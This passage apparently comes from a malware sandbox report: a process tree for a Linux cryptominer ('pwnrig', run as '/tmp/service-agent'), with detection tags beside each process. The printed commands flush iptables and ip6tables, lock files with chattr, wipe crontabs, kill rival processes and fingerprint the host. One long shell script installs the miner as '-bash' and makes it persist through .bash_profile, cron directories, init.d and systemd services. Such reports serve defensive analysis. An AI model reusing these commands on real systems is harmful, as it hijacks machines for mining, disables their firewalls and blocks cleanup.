                                                                                                                                                                                                                                                                                                                                        • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                          ip6tables -X ufw6-skip-to-policy-input
                                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                                            PID:1703
                                                                                                                                                                                                                                                                                                                                          • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                            ip6tables -X ufw6-skip-to-policy-output
                                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                                              PID:1704
                                                                                                                                                                                                                                                                                                                                            • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                              ip6tables -X ufw6-skip-to-policy-forward
                                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                                PID:1705
                                                                                                                                                                                                                                                                                                                                              • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                                ip6tables -P INPUT ACCEPT
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:1706
                                                                                                                                                                                                                                                                                                                                                • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                                  ip6tables -P OUTPUT ACCEPT
                                                                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1708
                                                                                                                                                                                                                                                                                                                                                  • /sbin/ip6tables
                                                                                                                                                                                                                                                                                                                                                    ip6tables -P FORWARD ACCEPT
                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1709
                                                                                                                                                                                                                                                                                                                                                • /usr/bin/bash
                                                                                                                                                                                                                                                                                                                                                  bash -c "iptables -P INPUT ACCEPT"
                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1711
                                                                                                                                                                                                                                                                                                                                                  • /usr/sbin/iptables
                                                                                                                                                                                                                                                                                                                                                    iptables -P INPUT ACCEPT
                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1711
                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/bash
                                                                                                                                                                                                                                                                                                                                                      bash -c "iptables -P OUTPUT ACCEPT"
                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                        PID:1713
                                                                                                                                                                                                                                                                                                                                                      • /usr/sbin/iptables
                                                                                                                                                                                                                                                                                                                                                        iptables -P OUTPUT ACCEPT
                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                          PID:1713
                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/bash
                                                                                                                                                                                                                                                                                                                                                          bash -c "iptables -P FORWARD ACCEPT"
                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1715
                                                                                                                                                                                                                                                                                                                                                          • /usr/sbin/iptables
                                                                                                                                                                                                                                                                                                                                                            iptables -P FORWARD ACCEPT
                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1715
                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/bash
                                                                                                                                                                                                                                                                                                                                                              bash -c "iptables -F"
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                PID:1717
                                                                                                                                                                                                                                                                                                                                                              • /usr/sbin/iptables
                                                                                                                                                                                                                                                                                                                                                                iptables -F
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                • Flushes firewall rules
                                                                                                                                                                                                                                                                                                                                                                PID:1717
                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/bash
                                                                                                                                                                                                                                                                                                                                                                bash -c "chattr -ia /etc/ld.so.preload"
                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:1718
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                  chattr -ia /etc/ld.so.preload
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                  PID:1718
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/pgrep
                                                                                                                                                                                                                                                                                                                                                                  pgrep -f klibsystem4
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                  PID:1719
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/pgrep
                                                                                                                                                                                                                                                                                                                                                                  pgrep -f klibsystem5
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                  • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                  PID:1720
                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                  chattr +ia /etc/init.d/knlib
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                  PID:1721
                                                                                                                                                                                                                                                                                                                                                                • /etc/init.d/knlib
                                                                                                                                                                                                                                                                                                                                                                  /etc/init.d/knlib start
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                  PID:1722
                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/cp
                                                                                                                                                                                                                                                                                                                                                                    cp -f -r -- /bin/knlib5 /bin/klibsystem5
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:1723
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                      rm -rf -- klibsystem5
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1725
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                      chattr +ia /etc/systemd/system/knlibe.service
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                      PID:1726
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                      systemctl daemon-reload
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                      PID:1727
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/systemctl
                                                                                                                                                                                                                                                                                                                                                                      systemctl enable knlibe.service
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Reads EFI boot settings
                                                                                                                                                                                                                                                                                                                                                                      • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                      PID:1753
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                      chattr +ia /bin/knlib5
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                      PID:1795
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                      crontab -r
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1796
                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/nohup
                                                                                                                                                                                                                                                                                                                                                                      nohup ./klibsystem5
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:1724
                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/klibsystem5
                                                                                                                                                                                                                                                                                                                                                                        ./klibsystem5
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:1724
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                                                          pkill -f .klibsystem5
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                          PID:1797
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/pkill
                                                                                                                                                                                                                                                                                                                                                                          pkill -f .klibsystem4
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                          PID:1798
                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/bash
                                                                                                                                                                                                                                                                                                                                                                          bash -c "echo \"* * * * * /run/user/.klibsystem5 >/dev/null 2>&1\" | crontab -"
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:1799
                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/crontab
                                                                                                                                                                                                                                                                                                                                                                              crontab -
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Creates/modifies Cron job
                                                                                                                                                                                                                                                                                                                                                                              PID:1801
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr +ia /etc/cron.d/.lib-knlib4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1802
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr +ia /var/spool/cron/.lib-knlib4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1803
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr +ia /etc/cron.hourly/.lib-knlib4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1804
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr +ia /etc/cron.daily/.lib-knlib4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1805
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr +ia /etc/cron.weekly/.lib-knlib4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1806
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr +ia /etc/cron.monthly/.lib-knlib4
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1807
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr -ia /etc/anacrontab
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1808
                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                            chattr +ia /etc/anacrontab
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                            PID:1809
                                                                                                                                                                                                                                                                                                                                                                          • /tmp/sys-helper
                                                                                                                                                                                                                                                                                                                                                                            /tmp/sys-helper
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                            PID:1810
                                                                                                                                                                                                                                                                                                                                                                          • /tmp/service-agent
                                                                                                                                                                                                                                                                                                                                                                            /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                            • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                            • Checks hardware identifiers (DMI)
                                                                                                                                                                                                                                                                                                                                                                            • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                            • Reads hardware information
                                                                                                                                                                                                                                                                                                                                                                            • Enumerates kernel/hardware configuration
                                                                                                                                                                                                                                                                                                                                                                            PID:1812
                                                                                                                                                                                                                                                                                                                                                                            • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                              sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                              PID:1813
                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/whoami
                                                                                                                                                                                                                                                                                                                                                                                whoami
                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:1824
                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/hostname
                                                                                                                                                                                                                                                                                                                                                                                  hostname
                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1825
                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                    grep -c "^processor" /proc/cpuinfo
                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Checks CPU configuration
                                                                                                                                                                                                                                                                                                                                                                                    PID:1826
                                                                                                                                                                                                                                                                                                                                                                                • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                  sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1842
                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/awk
                                                                                                                                                                                                                                                                                                                                                                                      awk "/[zZ]/ && !a[\$2]++ {print \$2}"
                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:1844
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/ps
                                                                                                                                                                                                                                                                                                                                                                                        ps -A "-ostat,ppid"
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                        PID:1843
                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/id
                                                                                                                                                                                                                                                                                                                                                                                        id -u
                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1846
                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                          grep -v grep
                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:1849
                                                                                                                                                                                                                                                                                                                                                                                          • /usr/bin/grep
                                                                                                                                                                                                                                                                                                                                                                                            grep /etc/cron
                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1848
                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/ps
                                                                                                                                                                                                                                                                                                                                                                                              ps x
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Reads CPU attributes
                                                                                                                                                                                                                                                                                                                                                                                              • Reads runtime system information
                                                                                                                                                                                                                                                                                                                                                                                              PID:1847
                                                                                                                                                                                                                                                                                                                                                                                          • /bin/sh
                                                                                                                                                                                                                                                                                                                                                                                            sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                            • Writes file to tmp directory
                                                                                                                                                                                                                                                                                                                                                                                            PID:1851
                                                                                                                                                                                                                                                                                                                                                                                            • /usr/bin/id
                                                                                                                                                                                                                                                                                                                                                                                              id -u
                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:1852
                                                                                                                                                                                                                                                                                                                                                                                              • /usr/bin/id
                                                                                                                                                                                                                                                                                                                                                                                                id -u
                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1853
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                  chattr -i -a /bin/bprofr "~/.bash_profile"
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1854
                                                                                                                                                                                                                                                                                                                                                                                                • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                  rm -rf /bin/bprofr
                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1855
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/sed
                                                                                                                                                                                                                                                                                                                                                                                                    sed -i /bprofr/d "~/.bash_profile"
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1856
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/cp
                                                                                                                                                                                                                                                                                                                                                                                                    cp -f -r -- /tmp/service-agent /bin/bprofr
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Writes file to system bin folder
                                                                                                                                                                                                                                                                                                                                                                                                    PID:1857
                                                                                                                                                                                                                                                                                                                                                                                                  • /usr/bin/id
                                                                                                                                                                                                                                                                                                                                                                                                    id -u
                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1858
                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                      chattr +i +a /bin/bprofr "~/.bash_profile"
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                      PID:1859
                                                                                                                                                                                                                                                                                                                                                                                                    • /usr/bin/mkdir
                                                                                                                                                                                                                                                                                                                                                                                                      mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1860
                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                                                                                                                                                                        chattr -i -a "/etc/cron.*/pwnrig" /bin/crondr
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1861
                                                                                                                                                                                                                                                                                                                                                                                                      • /usr/bin/rm
                                                                                                                                                                                                                                                                                                                                                                                                        rm -rf /bin/crondr
                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1862
                                                                                                                                                                                                                                                                                                                                                                                                        • /usr/bin/cp
                                                                                                                                                                                                                                                                                                                                                                                                          cp -f -r -- /tmp/service-agent /bin/crondr
                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Writes file to system bin folder
                                                                                                                                                                                                                                                                                                                                                                                                          PID:1863
